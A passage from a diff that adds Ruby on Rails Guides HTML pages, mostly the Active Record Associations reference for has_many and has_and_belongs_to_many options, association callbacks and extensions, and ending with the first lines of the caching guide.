+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Customer &lt; ActiveRecord::Base
+  has_many :orders
+end
+
+class Order &lt; ActiveRecord::Base
+  belongs_to :customer
+  has_many :line_items
+end
+
+class LineItem &lt; ActiveRecord::Base
+  belongs_to :order
+end
+</pre>
+</div>
+</notextile>
+
+<p>If you frequently retrieve line items directly from customers (<tt>@customer.orders.line_items</tt>), then you can make your code somewhat more efficient by including line items in the association from customers to orders:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Customer &lt; ActiveRecord::Base
+  has_many :orders, :include =&gt; :line_items
+end
+
+class Order &lt; ActiveRecord::Base
+  belongs_to :customer
+  has_many :line_items
+end
+
+class LineItem &lt; ActiveRecord::Base
+  belongs_to :order
+end
+</pre>
+</div>
+</notextile>
+
+<h6 id="has_many-limit">4.3.2.12 <tt>:limit</tt></h6>
+<p>The <tt>:limit</tt> option lets you restrict the total number of objects that will be fetched through an association.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Customer &lt; ActiveRecord::Base
+  has_many :recent_orders, :class_name =&gt; &quot;Order&quot;,
+    :order =&gt; &quot;order_date DESC&quot;, :limit =&gt; 100
+end
+</pre>
+</div>
+</notextile>
+
+<h6 id="has_many-offset">4.3.2.13 <tt>:offset</tt></h6>
+<p>The <tt>:offset</tt> option lets you specify the starting offset for fetching objects via an association. For example, if you set <tt>:offset => 11</tt>, it will skip the first 11 records.</p>
+<h6 id="has_many-order">4.3.2.14 <tt>:order</tt></h6>
+<p>The <tt>:order</tt> option dictates the order in which associated objects will be received (in the syntax used by an <span class="caps">SQL</span> <tt>ORDER BY</tt> clause).</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Customer &lt; ActiveRecord::Base
+  has_many :orders, :order =&gt; &quot;date_confirmed DESC&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<h6 id="has_many-primary_key">4.3.2.15 <tt>:primary_key</tt></h6>
+<p>By convention, Rails guesses that the column used to hold the primary key of the association is <tt>id</tt>. You can override this and explicitly specify the primary key with the <tt>:primary_key</tt> option.</p>
+<h6 id="has_many-readonly">4.3.2.16 <tt>:readonly</tt></h6>
+<p>If you set the <tt>:readonly</tt> option to <tt>true</tt>, then the associated objects will be read-only when retrieved via the association.</p>
+<h6 id="has_many-select">4.3.2.17 <tt>:select</tt></h6>
+<p>The <tt>:select</tt> option lets you override the <span class="caps">SQL</span> <tt>SELECT</tt> clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.</p>
+<div class='warning'><p>If you specify your own <tt>:select</tt>, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error.</p></div>
+<h6 id="has_many-source">4.3.2.18 <tt>:source</tt></h6>
+<p>The <tt>:source</tt> option specifies the source association name for a <tt>has_many :through</tt> association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name.</p>
+<h6 id="has_many-source_type">4.3.2.19 <tt>:source_type</tt></h6>
+<p>The <tt>:source_type</tt> option specifies the source association type for a <tt>has_many :through</tt> association that proceeds through a polymorphic association.</p>
+<h6 id="has_many-through">4.3.2.20 <tt>:through</tt></h6>
+<p>The <tt>:through</tt> option specifies a join model through which to perform the query. <tt>has_many :through</tt> associations provide a way to implement many-to-many relationships, as discussed <a href="#the-has_many-through-association">earlier in this guide</a>.</p>
+<h6 id="has_many-uniq">4.3.2.21 <tt>:uniq</tt></h6>
+<p>Set the <tt>:uniq</tt> option to true to keep the collection free of duplicates. This is mostly useful together with the <tt>:through</tt> option.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Person &lt; ActiveRecord::Base
+  has_many :readings
+  has_many :posts, :through =&gt; :readings
+end
+
+person = Person.create(:name =&gt; 'john')
+post   = Post.create(:name =&gt; 'a1')
+person.posts &lt;&lt; post
+person.posts &lt;&lt; post
+person.posts.inspect # =&gt; [#&lt;Post id: 5, name: &quot;a1&quot;&gt;, #&lt;Post id: 5, name: &quot;a1&quot;&gt;]
+Reading.all.inspect  # =&gt; [#&lt;Reading id: 12, person_id: 5, post_id: 5&gt;, #&lt;Reading id: 13, person_id: 5, post_id: 5&gt;]
+</pre>
+</div>
+</notextile>
+
+<p>In the above case there are two readings and <tt>person.posts</tt> brings out both of them even though these records are pointing to the same post.</p>
+<p>Now let&#8217;s set <tt>:uniq</tt> to true:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Person
+  has_many :readings
+  has_many :posts, :through =&gt; :readings, :uniq =&gt; true
+end
+
+person = Person.create(:name =&gt; 'honda')
+post   = Post.create(:name =&gt; 'a1')
+person.posts &lt;&lt; post
+person.posts &lt;&lt; post
+person.posts.inspect # =&gt; [#&lt;Post id: 7, name: &quot;a1&quot;&gt;]
+Reading.all.inspect  # =&gt; [#&lt;Reading id: 16, person_id: 7, post_id: 7&gt;, #&lt;Reading id: 17, person_id: 7, post_id: 7&gt;]
+</pre>
+</div>
+</notextile>
+
+<p>In the above case there are still two readings. However <tt>person.posts</tt> shows only one post because the collection loads only unique records.</p>
+<h6 id="has_many-validate">4.3.2.22 <tt>:validate</tt></h6>
+<p>If you set the <tt>:validate</tt> option to <tt>false</tt>, then associated objects will not be validated whenever you save this object. By default, this is <tt>true</tt>: associated objects will be validated when this object is saved.</p>
+<h5 id="has_many-when_are_objects_saved">4.3.3 When are Objects Saved?</h5>
+<p>When you assign an object to a <tt>has_many</tt> association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved.</p>
+<p>If any of these saves fails due to validation errors, then the assignment statement returns <tt>false</tt> and the assignment itself is cancelled.</p>
+<p>If the parent object (the one declaring the <tt>has_many</tt> association) is unsaved (that is, <tt>new_record?</tt> returns <tt>true</tt>) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.</p>
+<p>If you want to assign an object to a <tt>has_many</tt> association without saving the object, use the <tt><em>collection</em>.build</tt> method.</p>
+<h4 id="has_and_belongs_to_many-association-reference">4.4 <tt>has_and_belongs_to_many</tt> Association Reference</h4>
+<p>The <tt>has_and_belongs_to_many</tt> association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes.</p>
+<h5 id="methods-added-by-has_and_belongs_to_many">4.4.1 Methods Added by <tt>has_and_belongs_to_many</tt></h5>
+<p>When you declare a <tt>has_and_belongs_to_many</tt> association, the declaring class automatically gains 13 methods related to the association:</p>
+<ul>
+	<li><tt><em>collection</em>(force_reload = false)</tt></li>
+	<li><tt><em>collection</em>&lt;&lt;(object, &#8230;)</tt></li>
+	<li><tt><em>collection</em>.delete(object, &#8230;)</tt></li>
+	<li><tt><em>collection</em>=objects</tt></li>
+	<li><tt><em>collection_singular</em>_ids</tt></li>
+	<li><tt><em>collection_singular</em>_ids=ids</tt></li>
+	<li><tt><em>collection</em>.clear</tt></li>
+	<li><tt><em>collection</em>.empty?</tt></li>
+	<li><tt><em>collection</em>.size</tt></li>
+	<li><tt><em>collection</em>.find(&#8230;)</tt></li>
+	<li><tt><em>collection</em>.exists?(&#8230;)</tt></li>
+	<li><tt><em>collection</em>.build(attributes = {})</tt></li>
+	<li><tt><em>collection</em>.create(attributes = {})</tt></li>
+</ul>
+<p>In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to <tt>has_and_belongs_to_many</tt>, and <tt><em>collection_singular</em></tt> is replaced with the singularized version of that symbol.. For example, given the declaration:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Part &lt; ActiveRecord::Base
+  has_and_belongs_to_many :assemblies
+end
+</pre>
+</div>
+</notextile>
+
+<p>Each instance of the part model will have these methods:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+assemblies(force_reload = false)
+assemblies&lt;&lt;(object, ...)
+assemblies.delete(object, ...)
+assemblies=objects
+assembly_ids
+assembly_ids=ids
+assemblies.clear
+assemblies.empty?
+assemblies.size
+assemblies.find(...)
+assemblies.exists?(...)
+assemblies.build(attributes = {}, ...)
+assemblies.create(attributes = {})
+</pre>
+</div>
+</notextile>
+
+<h6 id="additional-column-methods">4.4.1.1 Additional Column Methods</h6>
+<p>If the join table for a <tt>has_and_belongs_to_many</tt> association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes.</p>
+<div class='warning'><p>The use of extra attributes on the join table in a <tt>has_and_belongs_to_many</tt> association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a <tt>has_many :through</tt> association instead of <tt>has_and_belongs_to_many</tt>.</p></div>
+<h6 id="tt-em-collection-em-force_reload-false-tt">4.4.1.2 <tt><em>collection</em>(force_reload = false)</tt></h6>
+<p>The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+@assemblies = @part.assemblies
+</pre>
+</div>
+</notextile>
+
+<h6 id="tt-em-collection-em-object-tt">4.4.1.3 <tt><em>collection</em>&lt;&lt;(object, &#8230;)</tt></h6>
+<p>The <tt><em>collection</em>&lt;&lt;</tt> method adds one or more objects to the collection by creating records in the join table.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+@part.assemblies &lt;&lt; @assembly1
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>This method is aliased as <tt><em>collection</em>.concat</tt> and <tt><em>collection</em>.push</tt>.</p></div>
+<h6 id="tt-em-collection-em-delete-object-tt">4.4.1.4 <tt><em>collection</em>.delete(object, &#8230;)</tt></h6>
+<p>The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+@part.assemblies.delete(@assembly1)
+</pre>
+</div>
+</notextile>
+
+<h6 id="tt-em-collection-em-objects-tt">4.4.1.5 <tt><em>collection</em>=objects</tt></h6>
+<p>The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate.</p>
+<h6 id="tt-em-collection_singular-em-_ids-tt">4.4.1.6 <tt><em>collection_singular</em>_ids</tt></h6>
+<p>The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids of the objects in the collection.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+@assembly_ids = @part.assembly_ids
+</pre>
+</div>
+</notextile>
+
+<h6 id="tt-em-collection_singular-em-_ids-ids-tt">4.4.1.7 <tt><em>collection_singular</em>_ids=ids</tt></h6>
+<p>The <tt><em>collection_singular</em>_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.</p>
+<h6 id="tt-em-collection-em-clear-tt">4.4.1.8 <tt><em>collection</em>.clear</tt></h6>
+<p>The <tt><em>collection</em>.clear</tt> method removes every object from the collection by deleting the rows from the joining table. This does not destroy the associated objects.</p>
+<h6 id="has_and_belongs_to_many-collection-empty">4.4.1.9 <tt><em>collection</em>.empty?</tt></h6>
+<p>The <tt><em>collection</em>.empty?</tt> method returns <tt>true</tt> if the collection does not contain any associated objects.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&lt;% if @part.assemblies.empty? %&gt;
+  This part is not used in any assemblies
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<h6 id="has_and_belongs_to_many-collection-size">4.4.1.10 <tt><em>collection</em>.size</tt></h6>
+<p>The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+@assembly_count = @part.assemblies.size
+</pre>
+</div>
+</notextile>
+
+<h6 id="has_and_belongs_to_many-collection-find">4.4.1.11 <tt><em>collection</em>.find(&#8230;)</tt></h6>
+<p>The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as <tt>ActiveRecord::Base.find</tt>. It also adds the additional condition that the object must be in the collection.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+@new_assemblies = @part.assemblies.find(:all,
+  :conditions =&gt; [&quot;created_at &gt; ?&quot;, 2.days.ago])
+</pre>
+</div>
+</notextile>
+
+<h6 id="has_and_belongs_to_many-collection-exists">4.4.1.12 <tt><em>collection</em>.exists?(&#8230;)</tt></h6>
+<p>The <tt><em>collection</em>.exists?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as <tt>ActiveRecord::Base.exists?</tt>.</p>
+<h6 id="has_and_belongs_to_many-collection-build">4.4.1.13 <tt><em>collection</em>.build(attributes = {})</tt></h6>
+<p>The <tt><em>collection</em>.build</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will <em>not</em> yet be saved.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+@assembly = @part.assemblies.build(
+  {:assembly_name =&gt; &quot;Transmission housing&quot;})
+</pre>
+</div>
+</notextile>
+
+<h6 id="has_and_belongs_to_many-create-attributes">4.4.1.14 <tt><em>collection</em>.create(attributes = {})</tt></h6>
+<p>The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and the associated object <em>will</em> be saved (assuming that it passes any validations).</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+@assembly = @part.assemblies.create(
+  {:assembly_name =&gt; &quot;Transmission housing&quot;})
+</pre>
+</div>
+</notextile>
+
+<h5 id="options-for-has_and_belongs_to_many">4.4.2 Options for <tt>has_and_belongs_to_many</tt></h5>
+<p>In many situations, you can use the default behavior for <tt>has_and_belongs_to_many</tt> without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a <tt>has_and_belongs_to_many</tt> association. For example, an association with several options might look like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Parts &lt; ActiveRecord::Base
+  has_and_belongs_to_many :assemblies, :uniq =&gt; true,
+    :read_only =&gt; true
+end
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>has_and_belongs_to_many</tt> association supports these options:</p>
+<ul>
+	<li><tt>:association_foreign_key</tt></li>
+	<li><tt>:autosave</tt></li>
+	<li><tt>:class_name</tt></li>
+	<li><tt>:conditions</tt></li>
+	<li><tt>:counter_sql</tt></li>
+	<li><tt>:delete_sql</tt></li>
+	<li><tt>:extend</tt></li>
+	<li><tt>:finder_sql</tt></li>
+	<li><tt>:foreign_key</tt></li>
+	<li><tt>:group</tt></li>
+	<li><tt>:include</tt></li>
+	<li><tt>:insert_sql</tt></li>
+	<li><tt>:join_table</tt></li>
+	<li><tt>:limit</tt></li>
+	<li><tt>:offset</tt></li>
+	<li><tt>:order</tt></li>
+	<li><tt>:readonly</tt></li>
+	<li><tt>:select</tt></li>
+	<li><tt>:uniq</tt></li>
+	<li><tt>:validate</tt></li>
+</ul>
+<h6 id="association_foreign_key">4.4.2.1 <tt>:association_foreign_key</tt></h6>
+<p>By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix <tt>_id</tt> added. The <tt>:association_foreign_key</tt> option lets you set the name of the foreign key directly:</p>
+<div class='info'><p>The <tt>:foreign_key</tt> and <tt>:association_foreign_key</tt> options are useful when setting up a many-to-many self-join. For example:</p></div>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class User &lt; ActiveRecord::Base
+  has_and_belongs_to_many :friends, :class_name =&gt; &quot;User&quot;,
+    :foreign_key =&gt; &quot;this_user_id&quot;,
+    :association_foreign_key =&gt; &quot;other_user_id&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<h6 id="has_and_belongs_to_many-autosave">4.4.2.2 <tt>:autosave</tt></h6>
+<p>If you set the <tt>:autosave</tt> option to <tt>true</tt>, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.</p>
+<h6 id="has_and_belongs_to_many-class_name">4.4.2.3 <tt>:class_name</tt></h6>
+<p>If the name of the other model cannot be derived from the association name, you can use the <tt>:class_name</tt> option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is <tt>Gadget</tt>, you&#8217;d set things up this way:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Parts &lt; ActiveRecord::Base
+  has_and_belongs_to_many :assemblies, :class_name =&gt; &quot;Gadget&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<h6 id="has_and_belongs_to_many-conditions">4.4.2.4 <tt>:conditions</tt></h6>
+<p>The <tt>:conditions</tt> option lets you specify the conditions that the associated object must meet (in the syntax used by an <span class="caps">SQL</span> <tt>WHERE</tt> clause).</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Parts &lt; ActiveRecord::Base
+  has_and_belongs_to_many :assemblies,
+    :conditions =&gt; &quot;factory = 'Seattle'&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<p>You can also set conditions via a hash:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Parts &lt; ActiveRecord::Base
+  has_and_belongs_to_many :assemblies,
+    :conditions =&gt; { :factory =&gt; 'Seattle' }
+end
+</pre>
+</div>
+</notextile>
+
+<p>If you use a hash-style <tt>:conditions</tt> option, then record creation via this association will be automatically scoped using the hash. In this case, using <tt>@parts.assemblies.create</tt> or <tt>@parts.assemblies.build</tt> will create orders where the <tt>factory</tt> column has the value &#8220;Seattle&#8221;.</p>
+<h6 id="has_and_belongs_to_many-counter_sql">4.4.2.5 <tt>:counter_sql</tt></h6>
+<p>Normally Rails automatically generates the proper <span class="caps">SQL</span> to count the association members. With the <tt>:counter_sql</tt> option, you can specify a complete <span class="caps">SQL</span> statement to count them yourself.</p>
+<div class='note'><p>If you specify <tt>:finder_sql</tt> but not <tt>:counter_sql</tt>, then the counter <span class="caps">SQL</span> will be generated by substituting <tt>SELECT COUNT(*) FROM</tt> for the <tt>SELECT ... FROM</tt> clause of your <tt>:finder_sql</tt> statement.</p></div>
+<h6 id="delete_sql">4.4.2.6 <tt>:delete_sql</tt></h6>
+<p>Normally Rails automatically generates the proper <span class="caps">SQL</span> to remove links between the associated classes. With the <tt>:delete_sql</tt> option, you can specify a complete <span class="caps">SQL</span> statement to delete them yourself.</p>
+<h6 id="has_and_belongs_to_many-extend">4.4.2.7 <tt>:extend</tt></h6>
+<p>The <tt>:extend</tt> option specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>.</p>
+<h6 id="has_and_belongs_to_many-finder_sql">4.4.2.8 <tt>:finder_sql</tt></h6>
+<p>Normally Rails automatically generates the proper <span class="caps">SQL</span> to fetch the association members. With the <tt>:finder_sql</tt> option, you can specify a complete <span class="caps">SQL</span> statement to fetch them yourself. If fetching objects requires complex multi-table <span class="caps">SQL</span>, this may be necessary.</p>
+<h6 id="has_and_belongs_to_many-foreign_key">4.4.2.9 <tt>:foreign_key</tt></h6>
+<p>By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix <tt>_id</tt> added. The <tt>:foreign_key</tt> option lets you set the name of the foreign key directly:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class User &lt; ActiveRecord::Base
+  has_and_belongs_to_many :friends, :class_name =&gt; &quot;User&quot;,
+    :foreign_key =&gt; &quot;this_user_id&quot;,
+    :association_foreign_key =&gt; &quot;other_user_id&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<h6 id="has_and_belongs_to_many-group">4.4.2.10 <tt>:group</tt></h6>
+<p>The <tt>:group</tt> option supplies an attribute name to group the result set by, using a <tt>GROUP BY</tt> clause in the finder <span class="caps">SQL</span>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Parts &lt; ActiveRecord::Base
+  has_and_belongs_to_many :assemblies, :group =&gt; &quot;factory&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<h6 id="has_and_belongs_to_many-include">4.4.2.11 <tt>:include</tt></h6>
+<p>You can use the <tt>:include</tt> option to specify second-order associations that should be eager-loaded when this association is used.</p>
+<h6 id="insert_sql">4.4.2.12 <tt>:insert_sql</tt></h6>
+<p>Normally Rails automatically generates the proper <span class="caps">SQL</span> to create links between the associated classes. With the <tt>:insert_sql</tt> option, you can specify a complete <span class="caps">SQL</span> statement to insert them yourself.</p>
+<h6 id="join_table">4.4.2.13 <tt>:join_table</tt></h6>
+<p>If the default name of the join table, based on lexical ordering, is not what you want, you can use the <tt>:join_table</tt> option to override the default.</p>
+<h6 id="has_and_belongs_to_many-limit">4.4.2.14 <tt>:limit</tt></h6>
+<p>The <tt>:limit</tt> option lets you restrict the total number of objects that will be fetched through an association.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Parts &lt; ActiveRecord::Base
+  has_and_belongs_to_many :assemblies, :order =&gt; &quot;created_at DESC&quot;,
+    :limit =&gt; 50
+end
+</pre>
+</div>
+</notextile>
+
+<h6 id="has_and_belongs_to_many-offset">4.4.2.15 <tt>:offset</tt></h6>
+<p>The <tt>:offset</tt> option lets you specify the starting offset for fetching objects via an association. For example, if you set <tt>:offset => 11</tt>, it will skip the first 11 records.</p>
+<h6 id="has_and_belongs_to_many-order">4.4.2.16 <tt>:order</tt></h6>
+<p>The <tt>:order</tt> option dictates the order in which associated objects will be received (in the syntax used by an <span class="caps">SQL</span> <tt>ORDER BY</tt> clause).</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Parts &lt; ActiveRecord::Base
+  has_and_belongs_to_many :assemblies, :order =&gt; &quot;assembly_name ASC&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<h6 id="has_and_belongs_to_many-readonly">4.4.2.17 <tt>:readonly</tt></h6>
+<p>If you set the <tt>:readonly</tt> option to <tt>true</tt>, then the associated objects will be read-only when retrieved via the association.</p>
+<h6 id="has_and_belongs_to_many-select">4.4.2.18 <tt>:select</tt></h6>
+<p>The <tt>:select</tt> option lets you override the <span class="caps">SQL</span> <tt>SELECT</tt> clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.</p>
+<h6 id="has_and_belongs_to_many-uniq">4.4.2.19 <tt>:uniq</tt></h6>
+<p>Specify the <tt>:uniq => true</tt> option to remove duplicates from the collection.</p>
+<h6 id="has_and_belongs_to_many-validate">4.4.2.20 <tt>:validate</tt></h6>
+<p>If you set the <tt>:validate</tt> option to <tt>false</tt>, then associated objects will not be validated whenever you save this object. By default, this is <tt>true</tt>: associated objects will be validated when this object is saved.</p>
+<h5 id="has_and_belongs_to_many-when_are_objects_saved">4.4.3 When are Objects Saved?</h5>
+<p>When you assign an object to a <tt>has_and_belongs_to_many</tt> association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved.</p>
+<p>If any of these saves fails due to validation errors, then the assignment statement returns <tt>false</tt> and the assignment itself is cancelled.</p>
+<p>If the parent object (the one declaring the <tt>has_and_belongs_to_many</tt> association) is unsaved (that is, <tt>new_record?</tt> returns <tt>true</tt>) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.</p>
+<p>If you want to assign an object to a <tt>has_and_belongs_to_many</tt> association without saving the object, use the <tt><em>collection</em>.build</tt> method.</p>
+<h4 id="association-callbacks">4.5 Association Callbacks</h4>
+<p>Normal callbacks hook into the life cycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a <tt>:before_save</tt> callback to cause something to happen just before an object is saved.</p>
+<p>Association callbacks are similar to normal callbacks, but they are triggered by events in the life cycle of a collection. There are four available association callbacks:</p>
+<ul>
+	<li><tt>before_add</tt></li>
+	<li><tt>after_add</tt></li>
+	<li><tt>before_remove</tt></li>
+	<li><tt>after_remove</tt></li>
+</ul>
+<p>You define association callbacks by adding options to the association declaration. For example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Customer &lt; ActiveRecord::Base
+  has_many :orders, :before_add =&gt; :check_credit_limit
+
+  def check_credit_limit(order)
+    ...
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>Rails passes the object being added or removed to the callback.</p>
+<p>You can stack callbacks on a single event by passing them as an array:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Customer &lt; ActiveRecord::Base
+  has_many :orders,
+    :before_add =&gt; [:check_credit_limit, :calculate_shipping_charges]
+
+  def check_credit_limit(order)
+    ...
+  end
+
+  def calculate_shipping_charges(order)
+    ...
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>If a <tt>before_add</tt> callback throws an exception, the object does not get added to the collection. Similarly, if a <tt>before_remove</tt> callback throws an exception, the object does not get removed from the collection.</p>
+<h4 id="association-extensions">4.6 Association Extensions</h4>
+<p>You&#8217;re not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Customer &lt; ActiveRecord::Base
+  has_many :orders do
+    def find_by_order_prefix(order_number)
+      find_by_region_id(order_number[0..2])
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>If you have an extension that should be shared by many associations, you can use a named extension module. For example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module FindRecentExtension
+  def find_recent
+    find(:all, :conditions =&gt; [&quot;created_at &gt; ?&quot;, 5.days.ago])
+  end
+end
+
+class Customer &lt; ActiveRecord::Base
+  has_many :orders, :extend =&gt; FindRecentExtension
+end
+
+class Supplier &lt; ActiveRecord::Base
+  has_many :deliveries, :extend =&gt; FindRecentExtension
+end
+</pre>
+</div>
+</notextile>
+
+<p>To include more than one extension module in a single association, specify an array of modules:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Customer &lt; ActiveRecord::Base
+  has_many :orders,
+    :extend =&gt; [FindRecentExtension, FindActiveExtension]
+end
+</pre>
+</div>
+</notextile>
+
+<p>Extensions can refer to the internals of the association proxy using these three accessors:</p>
+<ul>
+	<li><tt>proxy_owner</tt> returns the object that the association is a part of.</li>
+	<li><tt>proxy_reflection</tt> returns the reflection object that describes the association.</li>
+	<li><tt>proxy_target</tt> returns the associated object for <tt>belongs_to</tt> or <tt>has_one</tt>, or the collection of associated objects for <tt>has_many</tt> or <tt>has_and_belongs_to_many</tt>.</li>
+</ul>
+<h3 id="changelog">5 Changelog</h3>
+<p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/11">Lighthouse ticket</a></p>
+<ul>
+	<li>April 7, 2010: Fixed document to validate <span class="caps">XHTML</span> 1.0 Strict. <a href="http://jaimeiniesta.com">Jaime Iniesta</a></li>
+	<li>April 19, 2009: Added <tt>:touch</tt> option to <tt>belongs_to</tt> associations by <a href="credits.html#mgunderloy">Mike Gunderloy</a></li>
+	<li>February 1, 2009: Added <tt>:autosave</tt> option <a href="credits.html#mgunderloy">Mike Gunderloy</a></li>
+	<li>September 28, 2008: Corrected <tt>has_many :through</tt> diagram, added polymorphic diagram, some reorganization by <a href="credits.html#mgunderloy">Mike Gunderloy</a> . First release version.</li>
+	<li>September 22, 2008: Added diagrams, misc. cleanup by <a href="credits.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)</li>
+	<li>September 14, 2008: initial version by <a href="credits.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)</li>
+</ul>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/caching_with_rails.html
@@ -0,0 +1,539 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: Caching with Rails: An overview</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
